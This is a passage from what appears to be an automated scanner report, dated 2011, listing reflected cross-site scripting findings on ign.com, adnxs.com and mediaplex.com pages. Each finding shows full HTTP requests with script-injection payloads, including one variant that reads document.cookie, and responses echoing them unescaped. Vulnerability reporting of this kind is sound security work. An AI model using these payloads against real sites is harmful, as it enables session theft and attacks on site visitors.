Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32464-561022967-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:52:09 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043529563v-1n-12mc+1297043529563mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 144340

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
ard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://guides.ign.com/index/xbox-360-guides/index.html?1b789"-alert(1)-"3df258bc491=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.240. http://guides.ign.com/index/xbox-360-guides/index.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://guides.ign.com
Path:	/index/xbox-360-guides/index.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 16146"><script>alert(1)</script>33269b53d67 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/xbox-360-guides/index.html?16146"><script>alert(1)</script>33269b53d67=1 HTTP/1.1
Host: guides.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:52:06 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-18740-919999115-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:52:06 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043526421v-1n-12mc+1297043526421mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 144405

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://guides.ign.com/index/xbox-360-guides/index.html?16146"><script>alert(1)</script>33269b53d67=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.241. http://ib.adnxs.com/ab [cnd parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ib.adnxs.com
Path:	/ab

Issue detail

The value of the cnd request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 23b56'-alert(1)-'486e6fd77ad was submitted in the cnd parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /ab?enc=AAAAAAAABEAAAAAAAAAEQAAAAMDMzOw_AAAAAAAABEAAAAAAAAAEQGhd3fUU4pxdBWHfHSmrEELqWU9NAAAAAKhYAwBKAAAArgAAAAIAAACP2AIAgWMAAAEAAABVU0QAVVNEANgCWgB0DrcAnwQBAgUCAAQAAAAAwhZeFwAAAAA.&udj=uf%28%27a%27%2C+11344%2C+1297045994%29%3Buf%28%27c%27%2C+48740%2C+1297045994%29%3Buf%28%27g%27%2C+21324%2C+1297045994%29%3Buf%28%27r%27%2C+186511%2C+1297045994%29%3B&cnd=!WBPMAwjk_AIQj7ELGAAggccBKLcBMQAAAAAAAARAQhMIABAAGAAgASj-__________8BSABQAFj0HGAAaK4B23b56'-alert(1)-'486e6fd77ad&referrer=http://www.gamestats.com/&pp=0.414000 HTTP/1.1
Host: ib.adnxs.com
Proxy-Connection: keep-alive
Referer: http://www.gamestats.com/?d0025%22-alert(document.cookie)-%22f21ee463262=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: icu=EAAYAA..; anj=Kfw)jhV_sE-!h!0f:'doP!/uE9B0XU*HjQ-mdoRVXPU?SX1D6!eojU`S]*2_*a:p?Fk2.f:at07G@JPb4kEE3j#6`Whkd=KM>([Dt9i10pSJVsonqkk]lTrg6mOfksP%iLum4>MlbELf'Ii5'K.j!?X_(Uj+kWEbskhx`k+2wgkAN<d'pw5YCm]^mIN-T.E4bjhLE5o1r[B=(fd[%MC0LUo7Qlx6m!RQk`kj9fjK6t5cxsvKpfJc<IG<W^eSm^LbJEz^%s@nvaW#d7jL+qn?_19Jjm/zh#C?Bo7(>G[]Wt)[/5_DpD4K)b7u(I/bj*_/.-j)ou2YTa$5GIOL(xrF(P.:`gw?Um5pT(_tv#toLa*Xioz?IIp%V<J9N_TE0TTM<m7YA:]WIk.7=)VRZA%!81J8h_9=+^`qdD6E>^?@vTO^aME)G8Om1QDix0Vg0K[.vsUORRFthE_Fq%rOcY[@I<; sess=1; uuid2=4760492999213801733

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, private
Pragma: no-cache
Expires: Sat, 15 Nov 2008 16:00:00 GMT
P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC"
Set-Cookie: sess=1; path=/; expires=Tue, 08-Feb-2011 02:33:59 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: uuid2=4760492999213801733; path=/; expires=Sun, 08-May-2011 02:33:59 GMT; domain=.adnxs.com; HttpOnly
Content-Type: text/javascript
Date: Mon, 07 Feb 2011 02:33:59 GMT
Content-Length: 669

document.write('<iframe frameborder="0" width="728" height="90" marginheight="0" marginwidth="0" target="_blank" scrolling="no" src="http://ib.adnxs.com/if?enc=5dAi2_l-2j_l0CLb-X7aPwAAAMDMzOw_AAAAAAAA
...[SNIP]...
2C+48740%2C+1297045994%29%3Buf%28%27g%27%2C+21324%2C+1297045994%29%3Buf%28%27r%27%2C+186511%2C+1297045994%29%3B&cnd=!WBPMAwjk_AIQj7ELGAAggccBKLcBMQAAAAAAAARAQhMIABAAGAAgASj-__________8BSABQAFj0HGAAaK4B23b56'-alert(1)-'486e6fd77ad&referrer=http://www.gamestats.com/">
...[SNIP]...

3.242. http://ib.adnxs.com/ab [referrer parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ib.adnxs.com
Path:	/ab

Issue detail

The value of the referrer request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 95f6d'-alert(1)-'ed75860967e was submitted in the referrer parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /ab?enc=AAAAAAAABEAAAAAAAAAEQAAAAMDMzOw_AAAAAAAABEAAAAAAAAAEQGhd3fUU4pxdBWHfHSmrEELqWU9NAAAAAKhYAwBKAAAArgAAAAIAAACP2AIAgWMAAAEAAABVU0QAVVNEANgCWgB0DrcAnwQBAgUCAAQAAAAAwhZeFwAAAAA.&udj=uf%28%27a%27%2C+11344%2C+1297045994%29%3Buf%28%27c%27%2C+48740%2C+1297045994%29%3Buf%28%27g%27%2C+21324%2C+1297045994%29%3Buf%28%27r%27%2C+186511%2C+1297045994%29%3B&cnd=!WBPMAwjk_AIQj7ELGAAggccBKLcBMQAAAAAAAARAQhMIABAAGAAgASj-__________8BSABQAFj0HGAAaK4B&referrer=http://www.gamestats.com/95f6d'-alert(1)-'ed75860967e&pp=0.414000 HTTP/1.1
Host: ib.adnxs.com
Proxy-Connection: keep-alive
Referer: http://www.gamestats.com/?d0025%22-alert(document.cookie)-%22f21ee463262=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: icu=EAAYAA..; anj=Kfw)jhV_sE-!h!0f:'doP!/uE9B0XU*HjQ-mdoRVXPU?SX1D6!eojU`S]*2_*a:p?Fk2.f:at07G@JPb4kEE3j#6`Whkd=KM>([Dt9i10pSJVsonqkk]lTrg6mOfksP%iLum4>MlbELf'Ii5'K.j!?X_(Uj+kWEbskhx`k+2wgkAN<d'pw5YCm]^mIN-T.E4bjhLE5o1r[B=(fd[%MC0LUo7Qlx6m!RQk`kj9fjK6t5cxsvKpfJc<IG<W^eSm^LbJEz^%s@nvaW#d7jL+qn?_19Jjm/zh#C?Bo7(>G[]Wt)[/5_DpD4K)b7u(I/bj*_/.-j)ou2YTa$5GIOL(xrF(P.:`gw?Um5pT(_tv#toLa*Xioz?IIp%V<J9N_TE0TTM<m7YA:]WIk.7=)VRZA%!81J8h_9=+^`qdD6E>^?@vTO^aME)G8Om1QDix0Vg0K[.vsUORRFthE_Fq%rOcY[@I<; sess=1; uuid2=4760492999213801733

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, private
Pragma: no-cache
Expires: Sat, 15 Nov 2008 16:00:00 GMT
P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC"
Set-Cookie: sess=1; path=/; expires=Tue, 08-Feb-2011 02:34:03 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: uuid2=4760492999213801733; path=/; expires=Sun, 08-May-2011 02:34:03 GMT; domain=.adnxs.com; HttpOnly
Content-Type: text/javascript
Date: Mon, 07 Feb 2011 02:34:03 GMT
Content-Length: 669

document.write('<iframe frameborder="0" width="728" height="90" marginheight="0" marginwidth="0" target="_blank" scrolling="no" src="http://ib.adnxs.com/if?enc=5dAi2_l-2j_l0CLb-X7aPwAAAMDMzOw_AAAAAAAA
...[SNIP]...
7g%27%2C+21324%2C+1297045994%29%3Buf%28%27r%27%2C+186511%2C+1297045994%29%3B&cnd=!WBPMAwjk_AIQj7ELGAAggccBKLcBMQAAAAAAAARAQhMIABAAGAAgASj-__________8BSABQAFj0HGAAaK4B&referrer=http://www.gamestats.com/95f6d'-alert(1)-'ed75860967e">
...[SNIP]...

3.243. http://ie.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ie.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7118d"><script>alert(1)</script>2bfc7f1f75 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?7118d"><script>alert(1)</script>2bfc7f1f75=1 HTTP/1.1
Host: ie.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:52:31 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:52:31 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-32430-591646286-7;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:52:28 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043548870v-1n-12mc+1297043548870mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 184566

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>Video Games, Cheat
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://ie.ign.com/?7118d"><script>alert(1)</script>2bfc7f1f75=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.244. http://ie.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ie.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9547b"-alert(1)-"6cf3d46568c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /?9547b"-alert(1)-"6cf3d46568c=1 HTTP/1.1
Host: ie.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:52:36 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:52:36 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-2421-1433483450-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:52:34 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043554479v-1n-12mc+1297043554479mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 184489

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>Video Games, Cheat
...[SNIP]...
<script>
   if(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://ie.ign.com/?9547b"-alert(1)-"6cf3d46568c=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.245. http://img.mediaplex.com/content/0/17339/119294/PCMag_PCMag_300x250_Q1_2011.html [mpck parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://img.mediaplex.com
Path:	/content/0/17339/119294/PCMag_PCMag_300x250_Q1_2011.html

Issue detail

The value of the mpck request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bfcaa"><script>alert(1)</script>43aa4845d3e was submitted in the mpck parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /content/0/17339/119294/PCMag_PCMag_300x250_Q1_2011.html?mpck=altfarm.mediaplex.com%2Fad%2Fck%2F17339-119294-3601-10%3Fmpt%3D54455098227695094bfcaa"><script>alert(1)</script>43aa4845d3e&mpt=54455098227695094&mpvc=http://pixel.mathtag.com/click/img%253Fmt_aid%253D54455098227695094%2526mt_id%253D109283%2526mt_adid%253D100376%2526mt_uuid%253D4d3702bc-839e-0690-5370-3c19a9561295%2526redirect%253D HTTP/1.1
Host: img.mediaplex.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/300x250/thechive_us?t=1297045786912&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(1)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F27
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: svid=517004695355; mojo3=17339:3601/14302:23636/4608:12284/16228:10420/15017:34880/9609:2042/11606:17922/1551:17023/11293:3113

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 02:29:41 GMT
Server: Apache
Last-Modified: Fri, 07 Jan 2011 20:09:33 GMT
ETag: "6fdb24-d8d-499473254f940"
Accept-Ranges: bytes
Content-Length: 7231
Content-Type: text/html; charset=ISO-8859-1

<HTML>
<BODY LEFTMARGIN="0" TOPMARGIN="0" MARGINWIDTH="0" MARGINHEIGHT="0">
<NOSCRIPT>
<a href="http://pixel.mathtag.com/click/img%3Fmt_aid%3D54455098227695094%26mt_id%3D109283%26mt_adid%3D100376%26mt_uuid%3D4d3702bc-839e-0690-5370-3c19a9561295%26redirect%3Dhttp://altfarm.mediaplex.com/ad/ck/17339-119294-3601-10?mpt=54455098227695094bfcaa"><script>alert(1)</script>43aa4845d3e" TARGET="_blank">
...[SNIP]...

3.246. http://img.mediaplex.com/content/0/17339/119294/PCMag_PCMag_300x250_Q1_2011.html [mpck parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://img.mediaplex.com
Path:	/content/0/17339/119294/PCMag_PCMag_300x250_Q1_2011.html

Issue detail

The value of the mpck request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 92342"%3balert(1)//3291cec59b was submitted in the mpck parameter. This input was echoed as 92342";alert(1)//3291cec59b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /content/0/17339/119294/PCMag_PCMag_300x250_Q1_2011.html?mpck=altfarm.mediaplex.com%2Fad%2Fck%2F17339-119294-3601-10%3Fmpt%3D5445509822769509492342"%3balert(1)//3291cec59b&mpt=54455098227695094&mpvc=http://pixel.mathtag.com/click/img%253Fmt_aid%253D54455098227695094%2526mt_id%253D109283%2526mt_adid%253D100376%2526mt_uuid%253D4d3702bc-839e-0690-5370-3c19a9561295%2526redirect%253D HTTP/1.1
Host: img.mediaplex.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/300x250/thechive_us?t=1297045786912&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(1)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F27
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: svid=517004695355; mojo3=17339:3601/14302:23636/4608:12284/16228:10420/15017:34880/9609:2042/11606:17922/1551:17023/11293:3113

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 02:29:43 GMT
Server: Apache
Last-Modified: Fri, 07 Jan 2011 20:09:33 GMT
ETag: "6fdb24-d8d-499473254f940"
Accept-Ranges: bytes
Content-Length: 7031
Content-Type: text/html; charset=ISO-8859-1

<HTML>
<BODY LEFTMARGIN="0" TOPMARGIN="0" MARGINWIDTH="0" MARGINHEIGHT="0">
<NOSCRIPT>
<a href="http://pixel.mathtag.com/click/img%3Fmt_aid%3D54455098227695094%26mt_id%3D109283%26mt_adid%3D100376%2
...[SNIP]...
t_aid%3D54455098227695094%26mt_id%3D109283%26mt_adid%3D100376%26mt_uuid%3D4d3702bc-839e-0690-5370-3c19a9561295%26redirect%3Dhttp://altfarm.mediaplex.com/ad/ck/17339-119294-3601-10?mpt=5445509822769509492342";alert(1)//3291cec59b\" target=\"_blank\">
...[SNIP]...

3.247. http://img.mediaplex.com/content/0/17339/119294/PCMag_PCMag_300x250_Q1_2011.html [mpvc parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://img.mediaplex.com
Path:	/content/0/17339/119294/PCMag_PCMag_300x250_Q1_2011.html

Issue detail

The value of the mpvc request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 97521"%3balert(1)//4a20a6ea1b4 was submitted in the mpvc parameter. This input was echoed as 97521";alert(1)//4a20a6ea1b4 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /content/0/17339/119294/PCMag_PCMag_300x250_Q1_2011.html?mpck=altfarm.mediaplex.com%2Fad%2Fck%2F17339-119294-3601-10%3Fmpt%3D54455098227695094&mpt=54455098227695094&mpvc=http://pixel.mathtag.com/click/img%253Fmt_aid%253D54455098227695094%2526mt_id%253D109283%2526mt_adid%253D100376%2526mt_uuid%253D4d3702bc-839e-0690-5370-3c19a9561295%2526redirect%253D97521"%3balert(1)//4a20a6ea1b4 HTTP/1.1
Host: img.mediaplex.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/300x250/thechive_us?t=1297045786912&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(1)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F27
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: svid=517004695355; mojo3=17339:3601/14302:23636/4608:12284/16228:10420/15017:34880/9609:2042/11606:17922/1551:17023/11293:3113

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 02:29:47 GMT
Server: Apache
Last-Modified: Fri, 07 Jan 2011 20:09:33 GMT
ETag: "6fdb24-d8d-499473254f940"
Accept-Ranges: bytes
Content-Length: 7021
Content-Type: text/html; charset=ISO-8859-1

<HTML>
<BODY LEFTMARGIN="0" TOPMARGIN="0" MARGINWIDTH="0" MARGINHEIGHT="0">
<NOSCRIPT>
<a href="http://pixel.mathtag.com/click/img%3Fmt_aid%3D54455098227695094%26mt_id%3D109283%26mt_adid%3D100376%2
...[SNIP]...
AM NAME=\"FlashVars\" VALUE=\"clickTAG=http://pixel.mathtag.com/click/img%3Fmt_aid%3D54455098227695094%26mt_id%3D109283%26mt_adid%3D100376%26mt_uuid%3D4d3702bc-839e-0690-5370-3c19a9561295%26redirect%3D97521";alert(1)//4a20a6ea1b4http://altfarm.mediaplex.com%2Fad%2Fck%2F17339-119294-3601-10%3Fmpt%3D54455098227695094&clickTag=http://pixel.mathtag.com/click/img%3Fmt_aid%3D54455098227695094%26mt_id%3D109283%26mt_adid%3D100376%26mt
...[SNIP]...

3.248. http://img.mediaplex.com/content/0/17339/119294/PCMag_PCMag_300x250_Q1_2011.html [mpvc parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://img.mediaplex.com
Path:	/content/0/17339/119294/PCMag_PCMag_300x250_Q1_2011.html

Issue detail

The value of the mpvc request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4e6f1"><script>alert(1)</script>39ec161d3fb was submitted in the mpvc parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /content/0/17339/119294/PCMag_PCMag_300x250_Q1_2011.html?mpck=altfarm.mediaplex.com%2Fad%2Fck%2F17339-119294-3601-10%3Fmpt%3D54455098227695094&mpt=54455098227695094&mpvc=http://pixel.mathtag.com/click/img%253Fmt_aid%253D54455098227695094%2526mt_id%253D109283%2526mt_adid%253D100376%2526mt_uuid%253D4d3702bc-839e-0690-5370-3c19a9561295%2526redirect%253D4e6f1"><script>alert(1)</script>39ec161d3fb HTTP/1.1
Host: img.mediaplex.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/300x250/thechive_us?t=1297045786912&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(1)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F27
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: svid=517004695355; mojo3=17339:3601/14302:23636/4608:12284/16228:10420/15017:34880/9609:2042/11606:17922/1551:17023/11293:3113

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 02:29:45 GMT
Server: Apache
Last-Modified: Fri, 07 Jan 2011 20:09:33 GMT
ETag: "6fdb24-d8d-499473254f940"
Accept-Ranges: bytes
Content-Length: 7231
Content-Type: text/html; charset=ISO-8859-1

<HTML>
<BODY LEFTMARGIN="0" TOPMARGIN="0" MARGINWIDTH="0" MARGINHEIGHT="0">
<NOSCRIPT>
<a href="http://pixel.mathtag.com/click/img%3Fmt_aid%3D54455098227695094%26mt_id%3D109283%26mt_adid%3D100376%26mt_uuid%3D4d3702bc-839e-0690-5370-3c19a9561295%26redirect%3D4e6f1"><script>alert(1)</script>39ec161d3fbhttp://altfarm.mediaplex.com/ad/ck/17339-119294-3601-10?mpt=54455098227695094" TARGET="_blank">
...[SNIP]...

3.249. http://img.mediaplex.com/content/0/17339/119294/PCMag_PCMag_728x90_Q1_2011.html [mpck parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://img.mediaplex.com
Path:	/content/0/17339/119294/PCMag_PCMag_728x90_Q1_2011.html

Issue detail

The value of the mpck request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ab852"><script>alert(1)</script>99d91a9601e was submitted in the mpck parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /content/0/17339/119294/PCMag_PCMag_728x90_Q1_2011.html?mpck=altfarm.mediaplex.com%2Fad%2Fck%2F17339-119294-3601-11%3Fmpt%3D55758597716581794ab852"><script>alert(1)</script>99d91a9601e&mpt=55758597716581794&mpvc=http://pixel.mathtag.com/click/img%253Fmt_aid%253D55758597716581794%2526mt_id%253D109284%2526mt_adid%253D100376%2526mt_uuid%253D4d3702bc-839e-0690-5370-3c19a9561295%2526redirect%253D HTTP/1.1
Host: img.mediaplex.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/728x90/thechive_us?t=1297045702914&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(%2564%256F%2563%2575%256D%2565%256E%2574%252E%2563%256F%256F%256B%2569%2565)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F25
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: svid=517004695355; mojo3=17339:3601/14302:23636/4608:12284/16228:10420/15017:34880/9609:2042/11606:17922/1551:17023/11293:3113

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 02:28:17 GMT
Server: Apache
Last-Modified: Fri, 07 Jan 2011 19:10:35 GMT
ETag: "4c7666-d83-499465f7360c0"
Accept-Ranges: bytes
Content-Length: 7221
Content-Type: text/html; charset=ISO-8859-1

<HTML>
<BODY LEFTMARGIN="0" TOPMARGIN="0" MARGINWIDTH="0" MARGINHEIGHT="0">
<NOSCRIPT>
